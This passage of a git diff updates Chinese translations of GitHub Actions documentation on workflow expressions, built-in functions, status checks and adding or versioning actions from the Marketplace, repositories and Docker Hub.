的单独步骤中列出,具体取决于触发脚本的环境变量。 有关检查日志的详细信息,请参阅“[查看日志以诊断故障](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)”。 diff --git a/translations/zh-CN/content/actions/learn-github-actions/expressions.md b/translations/zh-CN/content/actions/learn-github-actions/expressions.md index 0bf64804d3..2278377f8e 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/expressions.md +++ b/translations/zh-CN/content/actions/learn-github-actions/expressions.md @@ -1,35 +1,38 @@ --- -title: Expressions +title: 表达式 shortTitle: Expressions -intro: You can evaluate expressions in workflows and actions. +intro: 你可以对工作流和操作中的表达式求值。 versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 94bd9f7a43d4325e497a776357711adf64c0d7ba +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147614221' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于表达式 -## About expressions +您可以使用表达式程序化设置工作流程文件中的环境变量和访问上下文。 表达式可以是文字值、上下文引用或函数的任意组合。 您可以使用运算符组合文字、上下文引用和函数。 有关上下文的详细信息,请参阅“[上下文](/actions/learn-github-actions/contexts)”。 -You can use expressions to programmatically set environment variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." +表达式通常与工作流文件中的条件 `if` 关键字一起使用,以确定是否应运行步骤。 如果 `if` 条件为 `true`,该步骤将运行。 -Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run. +您需要使用特定语法指示 {% data variables.product.prodname_dotcom %} 对表达式求值,而不是将其视为字符串。 -You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string. - -{% raw %} -`${{ }}` +{% raw %} `${{ }}` {% endraw %} -{% data reusables.actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." +{% data reusables.actions.expression-syntax-if %} 有关 `if` 条件的详细信息,请参阅“[{% data variables.product.prodname_actions %} 的工作流语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)”。 {% data reusables.actions.context-injection-warning %} -#### Example expression in an `if` conditional +#### `if` 条件中的示例表达式 ```yaml steps: @@ -37,7 +40,7 @@ steps: if: {% raw %}${{ }}{% endraw %} ``` -#### Example setting an environment variable +#### 设置环境变量的示例 {% raw %} ```yaml @@ -46,18 +49,18 @@ env: ``` {% endraw %} -## Literals +## 文本 -As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types. +作为表达式的一部分,可使用 `boolean`、`null`、`number` 或 `string` 数据类型。 -| Data type | Literal value | +| 数据类型 | 文本值 | |-----------|---------------| -| `boolean` | `true` or `false` | +| `boolean` | `true` 或 `false` | | `null` | `null` | -| `number` | Any number format supported by JSON. | -| `string` | You don't need to enclose strings in `{% raw %}${{{% endraw %}` and `{% raw %}}}{% endraw %}`. However, if you do, you must use single quotes (`'`) around the string. To use a literal single quote, escape the literal single quote using an additional single quote (`''`). Wrapping with double quotes (`"`) will throw an error. | +| `number` | JSON 支持的任何数字格式。 | +| `string` | 无需将字符串括在 `{% raw %}${{{% endraw %}` 和 `{% raw %}}}{% endraw %}` 中。 但是,如果这样做,则必须在字符串两边使用单引号 (`'`)。 若要使用文本单引号,请使用额外的单引号 (`''`) 转义文本单引号。 用双引号 (`"`) 括起来会引发错误。 | -#### Example +#### 示例 {% raw %} @@ -75,105 +78,105 @@ env: {% endraw %} -## Operators +## 运算符 -| Operator | Description | +| 运算符 | 说明 | | --- | --- | -| `( )` | Logical grouping | -| `[ ]` | Index -| `.` | Property de-reference | +| `( )` | 逻辑分组 | +| `[ ]` | 索引 +| `.` | 属性取消引用 | | `!` | Not | -| `<` | Less than | -| `<=` | Less than or equal | -| `>` | Greater than | -| `>=` | Greater than or equal | -| `==` | Equal | -| `!=` | Not equal | -| `&&` | And | -| \|\| | Or | +| `<` | 小于 | +| `<=` | 小于或等于 | +| `>` | 大于 | +| `>=` | 大于或等于 | +| `==` | 等于 | +| `!=` | 不等于 | +| `&&` | 且 | +| \|\| | 或 | -{% data variables.product.prodname_dotcom %} performs loose equality comparisons. +{% data variables.product.prodname_dotcom %} 进行宽松的等式比较。 -* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions: +* 如果类型不匹配,{% data variables.product.prodname_dotcom %} 强制转换类型为数字。 {% data variables.product.prodname_dotcom %} 使用这些转换将数据类型转换为数字: - | Type | Result | + | 类型 | 结果 | | --- | --- | | Null | `0` | - | Boolean | `true` returns `1`
`false` returns `0` | - | String | Parsed from any legal JSON number format, otherwise `NaN`.
Note: empty string returns `0`. | - | Array | `NaN` | - | Object | `NaN` | -* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)." -* {% data variables.product.prodname_dotcom %} ignores case when comparing strings. -* Objects and arrays are only considered equal when they are the same instance. + | 布尔 | `true` 返回 `1`
`false` 返回 `0` | + | String | 从任何合法的 JSON 数字格式进行分析,否则为 `NaN`。
注意:空字符串返回 `0`。 | + | 数组 | `NaN` | + | 对象 | `NaN` | +* 一个 `NaN` 与另一个 `NaN` 的比较不会生成 `true`。 有关详细信息,请参阅“[NaN Mozilla 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)”。 +* {% data variables.product.prodname_dotcom %} 在比较字符串时忽略大小写。 +* 对象和数组仅在为同一实例时才视为相等。 -## Functions +## 函数 -{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions: +{% data variables.product.prodname_dotcom %} 提供一组内置的函数,可用于表达式。 有些函数抛出值到字符串以进行比较。 {% data variables.product.prodname_dotcom %} 使用这些转换将数据类型转换为字符串: -| Type | Result | +| 类型 | 结果 | | --- | --- | | Null | `''` | -| Boolean | `'true'` or `'false'` | -| Number | Decimal format, exponential for large numbers | -| Array | Arrays are not converted to a string | -| Object | Objects are not converted to a string | +| 布尔 | `'true'` 或 `'false'` | +| 数字 | 十进制格式,对大数字使用指数 | +| 数组 | 数组不转换为字符串 | +| 对象 | 对象不转换为字符串 | ### contains `contains( search, item )` -Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string. +如果 `search` 包含 `item`,则返回 `true`。 如果 `search` 是一个数组,`item` 是数组中的一个元素,此函数将返回 `true`。 如果 `search` 是一个字符串,`item` 是 `search` 的 substring,此函数将返回 `true`。 此函数不区分大小写。 抛出值到字符串。 -#### Example using a string +#### 使用字符串的示例 -`contains('Hello world', 'llo')` returns `true`. +`contains('Hello world', 'llo')` 返回 `true`。 -#### Example using an object filter +#### 使用对象筛选器的示例 -`contains(github.event.issue.labels.*.name, 'bug')` returns `true` if the issue related to the event has a label "bug". +如果与事件相关的问题具有标签“bug”,`contains(github.event.issue.labels.*.name, 'bug')` 便会返回 `true`。 -For more information, see "[Object filters](#object-filters)." +有关详细信息,请参阅“[对象筛选器](#object-filters)”。 -#### Example matching an array of strings +#### 匹配字符串数组的示例 -Instead of writing `github.event_name == "push" || github.event_name == "pull_request"`, you can use `contains()` with `fromJson()` to check if an array of strings contains an `item`. +可以将 `contains()` 与 `fromJson()` 配合使用来检查字符串数组是否包含 `item`,而不是编写 `github.event_name == "push" || github.event_name == "pull_request"`。 -For example, `contains(fromJson('["push", "pull_request"]'), github.event_name)` returns `true` if `github.event_name` is "push" or "pull_request". +例如,如果 `github.event_name` 是“push”或“pull_request”,`contains(fromJson('["push", "pull_request"]'), github.event_name)` 便会返回 `true`。 ### startsWith `startsWith( searchString, searchValue )` -Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string. +如果 `searchString` 以 `searchValue` 开头,将返回 `true`。 此函数不区分大小写。 抛出值到字符串。 -#### Example +#### 示例 -`startsWith('Hello world', 'He')` returns `true`. +`startsWith('Hello world', 'He')` 返回 `true`。 ### endsWith `endsWith( searchString, searchValue )` -Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string. +如果 `true` 以 `searchString` 结尾,则返回 `searchValue`。 此函数不区分大小写。 抛出值到字符串。 -#### Example +#### 示例 -`endsWith('Hello world', 'ld')` returns `true`. +`endsWith('Hello world', 'ld')` 返回 `true`。 ### format `format( string, replaceValue0, replaceValue1, ..., replaceValueN)` -Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces. +将 `string` 中的值替换为变量 `replaceValueN`。 `string` 中的变量是使用 `{N}` 语法指定的,其中 `N` 是一个整数。 必须至少指定一个 `replaceValue` 和 `string`。 可使用的变量 (`replaceValueN`) 的数量没有上限。 使用双小括号逸出大括号。 -#### Example +#### 示例 `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')` -Returns 'Hello Mona the Octocat'. +返回“Hello Mona the Octocat”。 -#### Example escaping braces +#### 逸出括号示例 {% raw %} ```js @@ -181,37 +184,37 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat') ``` {% endraw %} -Returns '{Hello Mona the Octocat!}'. +返回“{Hello Mona the Octocat!}”。 ### join `join( array, optionalSeparator )` -The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string. +`array` 的值可以是数组,也可以是字符串。 `array` 中的所有值都连接成一个字符串。 如果提供 `optionalSeparator`,则它将插入到连接的值之间, 否则使用默认分隔符 `,`。 抛出值到字符串。 -#### Example +#### 示例 -`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted' +`join(github.event.issue.labels.*.name, ', ')` 可能会返回“出现 bug,需要帮助” ### toJSON `toJSON(value)` -Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts. +对 `value` 返回适合打印的 JSON 表示形式。 您可以使用此函数调试上下文中提供的信息。 -#### Example +#### 示例 -`toJSON(job)` might return `{ "status": "Success" }` +`toJSON(job)` 可能会返回 `{ "status": "Success" }` ### fromJSON `fromJSON(value)` -Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string. +返回 `value` 的 JSON 对象或 JSON 数据类型。 您可以使用此函数来提供 JSON 对象作为评估表达式或从字符串转换环境变量。 -#### Example returning a JSON object +#### 返回 JSON 对象的示例 -This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`. +此工作流在一个作业中设置 JSON 矩阵,并使用输出和 `fromJSON` 将其传递给下一个作业。 {% raw %} ```yaml @@ -223,12 +226,8 @@ jobs: outputs: matrix: ${{ steps.set-matrix.outputs.matrix }} steps: - - id: set-matrix{% endraw %} -{%- ifversion actions-save-state-set-output-envs %} - run: echo "matrix={\"include\":[{\"project\":\"foo\",\"config\":\"Debug\"},{\"project\":\"bar\",\"config\":\"Release\"}]}" >> $GITHUB_OUTPUT -{%- else %} + - id: set-matrix run: echo "::set-output name=matrix::{\"include\":[{\"project\":\"foo\",\"config\":\"Debug\"},{\"project\":\"bar\",\"config\":\"Release\"}]}" -{%- endif %}{% raw %} job2: needs: job1 runs-on: ubuntu-latest @@ -239,9 +238,9 @@ jobs: ``` {% endraw %} -#### Example returning a JSON data type +#### 返回 JSON 数据类型的示例 -This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer. +此工作流使用 `fromJSON` 将环境变量从字符串转换为布尔值或整数。 {% raw %} ```yaml @@ -264,37 +263,37 @@ jobs: `hashFiles(path)` -Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. If the `path` pattern does not match any files, this returns an empty string. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)." +返回与 `path` 模式匹配的文件集的单个哈希。 可以提供用逗号分隔的单个 `path` 模式或多个 `path` 模式。 `path` 与 `GITHUB_WORKSPACE` 目录相关,且仅包含 `GITHUB_WORKSPACE` 内的文件。 此函数为每个匹配的文件计算单独的 SHA-256 哈希, 然后使用这些哈希来计算文件集的最终 SHA-256 哈希。 如果 `path` 模式与任何文件都不匹配,则返回空字符串。 有关 SHA-256 的详细信息,请参阅“[SHA-2](https://en.wikipedia.org/wiki/SHA-2)”。 -You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)." +您可以使用模式匹配字符来匹配文件名。 模式匹配在 Windows 上不区分大小写。 有关受支持的模式匹配字符的详细信息,请参阅“[{% data variables.product.prodname_actions %} 的工作流语法](/actions/using-workflows/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)”。 -#### Example with a single pattern +#### 单一模式示例 -Matches any `package-lock.json` file in the repository. +匹配存储库中的任何 `package-lock.json` 文件。 `hashFiles('**/package-lock.json')` -#### Example with multiple patterns +#### 多个模式示例 -Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository. +为存储库中的任何 `package-lock.json` 和 `Gemfile.lock` 文件创建哈希。 `hashFiles('**/package-lock.json', '**/Gemfile.lock')` -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} -## Status check functions +{% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %} +## 状态检查函数 -You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" and "[Metadata syntax for GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)". +可以将以下状态检查函数用作 `if` 条件中的表达式。 除非包含这些函数之一,否则将应用 `success()` 的默认状态检查。 有关 `if` 条件的详细信息,请参阅“[GitHub Actions 的工作流语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)”和“[GitHub Composite Actions 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)”。 {% else %} -## Check Functions -You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)". +## 检查函数 +可以将以下状态检查函数用作 `if` 条件中的表达式。 除非包含这些函数之一,否则将应用 `success()` 的默认状态检查。 有关 `if` 条件的详细信息,请参阅“[GitHub Actions 的工作流语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)”。 {% endif %} ### success -Returns `true` when none of the previous steps have failed or been canceled. +如果前面的步骤都没有失败或被取消,则返回 `true`。 -#### Example +#### 示例 ```yaml steps: @@ -303,11 +302,11 @@ steps: if: {% raw %}${{ success() }}{% endraw %} ``` -### always +### 通用 -Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed. +导致步骤始终执行,并返回 `true`,即使取消也一样。 作业或步骤在重大故障阻止任务运行时不会运行。 例如,如果获取来源失败。 -#### Example +#### 示例 ```yaml if: {% raw %}${{ always() }}{% endraw %} @@ -315,19 +314,19 @@ if: {% raw %}${{ always() }}{% endraw %} ### cancelled -Returns `true` if the workflow was canceled. +如果工作流被取消,则返回 `true`。 -#### Example +#### 示例 ```yaml if: {% raw %}${{ cancelled() }}{% endraw %} ``` -### failure +### 失败 -Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails. +如果作业的任何先前步骤失败,将返回 `true`。 如果有一系列依赖项作业,则 `failure()` 在任何上级作业失败时返回 `true`。 -#### Example +#### 示例 ```yaml steps: @@ -336,11 +335,11 @@ steps: if: {% raw %}${{ failure() }}{% endraw %} ``` -#### failure with conditions +#### 有条件的失败 -You can include extra conditions for a step to run after a failure, but you must still include `failure()` to override the default status check of `success()` that is automatically applied to `if` conditions that don't contain a status check function. +可以包含一个在失败后运行的步骤的额外条件,但仍必须包含 `failure()` 以覆盖自动应用于不包含状态检查函数的 `if` 条件的默认 `success()` 状态检查。 -##### Example +##### 示例 ```yaml steps: @@ -352,11 +351,11 @@ steps: if: {% raw %}${{ failure() && steps.demo.conclusion == 'failure' }}{% endraw %} ``` -## Object filters +## 对象过滤器 -You can use the `*` syntax to apply a filter and select matching items in a collection. +可使用 `*` 语法来应用筛选器并选择集合中的匹配项。 -For example, consider an array of objects named `fruits`. +例如,考虑名为 `fruits` 的对象数组。 ```json [ @@ -366,9 +365,9 @@ For example, consider an array of objects named `fruits`. ] ``` -The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`. +筛选器 `fruits.*.name` 返回数组 `[ "apple", "orange", "pear" ]`。 -You may also use the `*` syntax on an object. For example, suppose you have an object named `vegetables`. +还可以对某个对象使用 `*` 语法。 例如,假设有一个名为 `vegetables` 的对象。 ```json @@ -391,7 +390,7 @@ You may also use the `*` syntax on an object. For example, suppose you have an o } ``` -The filter `vegetables.*.ediblePortions` could evaluate to: +筛选器 `vegetables.*.ediblePortions` 的计算结果如下: ```json @@ -402,4 +401,4 @@ The filter `vegetables.*.ediblePortions` could evaluate to: ] ``` -Since objects don't preserve order, the order of the output can not be guaranteed. +由于对象不保留顺序,因此无法保证输出的顺序。 diff --git a/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md index 26a3fa7743..364f6e25d8 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md +++ b/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md @@ -1,7 +1,7 @@ --- -title: Finding and customizing actions -shortTitle: Find and customize actions -intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.' +title: 查找和自定义操作 +shortTitle: Finding and customizing actions +intro: 操作是支持工作流程的构建块。 工作流程可以包含社区创建的操作,您也可以直接在应用程序的仓库中创建您自己的操作。 本指南说明如何发现、使用和自定义操作。 redirect_from: - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow @@ -15,71 +15,75 @@ versions: type: how_to topics: - Fundamentals +ms.openlocfilehash: cb2b8bb24e044bd559b0823ec7b0e4be7be1becb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147063792' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 概述 -## Overview +在工作流程中使用的操作可以定义于: -The actions you use in your workflow can be defined in: +- 与工作流文件相同的存储库{% ifversion internal-actions %} +- 在同一企业帐户中被配置为允许访问工作流程的内部仓库{% endif %} +- 任何公共仓库 +- Docker Hub 上发布的 Docker 容器图像 -- The same repository as your workflow file{% ifversion internal-actions %} -- An internal repository within the same enterprise account that is configured to allow access to workflows{% endif %} -- Any public repository -- A published Docker container image on Docker Hub - -{% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %} +{% data variables.product.prodname_marketplace %} 是你用来查找 {% data variables.product.prodname_dotcom %} 社区创建的操作的中心位置。{% ifversion fpt or ghec %} 利用[{% data variables.product.prodname_marketplace %} 页面](https://github.com/marketplace/actions/)页面可按类别筛选操作。 {% endif %} {% data reusables.actions.enterprise-marketplace-actions %} {% ifversion fpt or ghec %} -## Browsing Marketplace actions in the workflow editor +## 在工作流程编辑器中浏览 Marketplace 操作 -You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community. +您可以直接在仓库的工作流程编辑器中搜索和浏览操作。 从边栏可以搜索特定的操作、查看特色操作和浏览特色类别。 您也可以查看操作从 {% data variables.product.prodname_dotcom %} 社区获得的星标数。 -1. In your repository, browse to the workflow file you want to edit. -1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. - ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png) -1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization. - ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png) +1. 在仓库中,浏览至要编辑的工作流程文件。 +1. 要打开工作流编辑器,在文件视图右上角单击 {% octicon "pencil" aria-label="The edit icon" %}。 + ![编辑工作流文件按钮](/assets/images/help/repository/actions-edit-workflow-file.png) +1. 在编辑器右侧,使用 {% data variables.product.prodname_marketplace %} 边栏浏览操作。 带有 {% octicon "verified" aria-label="The verified badge" %} 徽章的操作表示 {% data variables.product.prodname_dotcom %} 已验证操作的创建者为合作伙伴组织。 + ![Marketplace 工作流边栏](/assets/images/help/repository/actions-marketplace-sidebar.png) -## Adding an action to your workflow +## 添加操作到工作流程 -You can add an action to your workflow by referencing the action in your workflow file. +您可以通过在工作流程文件中引用操作来向工作流程添加操作。 -You can view the actions referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).” +您可以将 {% data variables.product.prodname_actions %} 工作流程中引用的操作视为包含工作流程的仓库依赖图中的依赖项。 有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)”。 -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6269 %} {% note %} -**Note:** To enhance security, {% data variables.product.prodname_actions %} is deprecating redirects for actions. This means that when the owner or name of an action's repository is changed, any workflows using that action with the previous name will fail. +注意:为了增强安全性,{% data variables.product.prodname_actions %} 弃用了操作的重定向。 这意味着,当操作存储库的所有者或名称发生更改时,使用该操作并具有先前名称的任何工作流程都将失败。 {% endnote %} {% endif %} -### Adding an action from {% data variables.product.prodname_marketplace %} +### 从 {% data variables.product.prodname_marketplace %} 添加操作 -An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file. +操作的列表页包括操作的版本以及使用操作所需的工作流程语法。 为使工作流程在操作有更新时也保持稳定,您可以在工作流程文件中指定 Git 或 Docker 标记号以引用所用操作的版本。 -1. Navigate to the action you want to use in your workflow. -1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax. - ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png) -1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)." -1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)." +1. 导航到要在工作流程中使用的操作。 +1. 在“安装”下,单击 {% octicon "clippy" aria-label="The edit icon" %} 复制工作流语法。 + ![查看操作列表](/assets/images/help/repository/actions-sidebar-detailed-view.png) +1. 将语法粘贴为工作流程中的新步骤。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的工作流语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)”。 +1. 如果操作要求您提供输入,请将其设置在工作流程中。 有关操作可能需要的输入的信息,请参阅“[对操作使用输入和输出](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)”。 {% data reusables.dependabot.version-updates-for-actions %} {% endif %} -### Adding an action from the same repository +### 从相同仓库添加操作 -If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file. +如果操作在工作流文件使用该操作的同一存储库中定义,你可以在工作流文件中通过 `{owner}/{repo}@{ref}` 或 `./path/to/dir` 语法引用操作。 -Example repository file structure: +示例仓库文件结构: ``` |-- hello-world (repository) @@ -91,7 +95,7 @@ Example repository file structure: | └── action.yml ``` -Example workflow file: +示例工作流程文件: ```yaml jobs: @@ -104,13 +108,13 @@ jobs: - uses: ./.github/actions/hello-world-action ``` -The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)." +`action.yml` 文件用于提供操作的元数据。 要了解此文件的内容,请参阅“[GitHub Actions 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions)”。 -### Adding an action from a different repository +### 从不同仓库添加操作 -If an action is defined in a different repository than your workflow file, you can reference the action with the `{owner}/{repo}@{ref}` syntax in your workflow file. +如果操作在与工作流文件不同的存储库中定义,可在工作流文件中通过 `{owner}/{repo}@{ref}` 语法引用该操作。 -The action must be stored in a public repository{% ifversion internal-actions %} or an internal repository that is configured to allow access to workflows. For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)."{% else %}.{% endif %} +该操作必须存储在公共存储库{% ifversion internal-actions %} 或存储在配置为允许访问工作流的内部存储库中。 有关详细信息,请参阅“[与企业共享操作和工作流](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)”。{% else %}。{% endif %} ```yaml jobs: @@ -120,9 +124,9 @@ jobs: uses: {% data reusables.actions.action-setup-node %} ``` -### Referencing a container on Docker Hub +### 引用 Docker Hub 上的容器 -If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow. +如果操作在 Docker Hub 上发布的 Docker 容器图像中定义,必须在工作流文件中通过 `docker://{image}:{tag}` 语法引用该操作。 为保护代码和数据,强烈建议先验证 Docker Hub 中 Docker 容器图像的完整性后再将其用于工作流程。 ```yaml jobs: @@ -132,57 +136,57 @@ jobs: uses: docker://alpine:3.8 ``` -For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)." +有关 Docker 操作的一些示例,请参阅 [Docker-image.yml 工作流](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml)和“[创建 Docker 容器操作](/articles/creating-a-docker-container-action)”。 -## Using release management for your custom actions +## 对自定义操作使用发行版管理 -The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action. +社区操作的创建者可以选择使用标记、分支或 SHA 值来管理操作的版本。 与任何依赖项类似,您应该根据自动接受操作更新的舒适程度来指示要使用的操作版本。 -You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use. +您将在工作流程文件中指定操作的版本。 检查操作的文档,了解其发行版管理方法的信息,并查看要使用的标记、分支或 SHA 值。 {% note %} -**Note:** We recommend that you use a SHA value when using third-party actions. For more information, see [Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions) +注意:建议在使用第三方操作时使用 SHA 值。 有关详细信息,请参阅“[GitHub Actions 的安全强化](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)”。 {% endnote %} -### Using tags +### 使用标记 -Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`: +标记可用于让您决定何时在主要版本和次要版本之间切换,但这只是临时的,可能被维护员移动或删除。 此示例演示如何定位已标记为 `v1.0.1` 的操作: ```yaml steps: - uses: actions/javascript-action@v1.0.1 ``` -### Using SHAs +### 使用 SHA -If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. You must use a commit's full SHA value, and not an abbreviated value. This example targets an action's SHA: +如果需要更可靠的版本控制,应使用与操作版本关联的 SHA 值。 SHA 是不可变的,因此比标记或分支更可靠。 但是,此方法意味着您不会自动接收操作的更新,包括重要的 Bug 修复和安全更新。 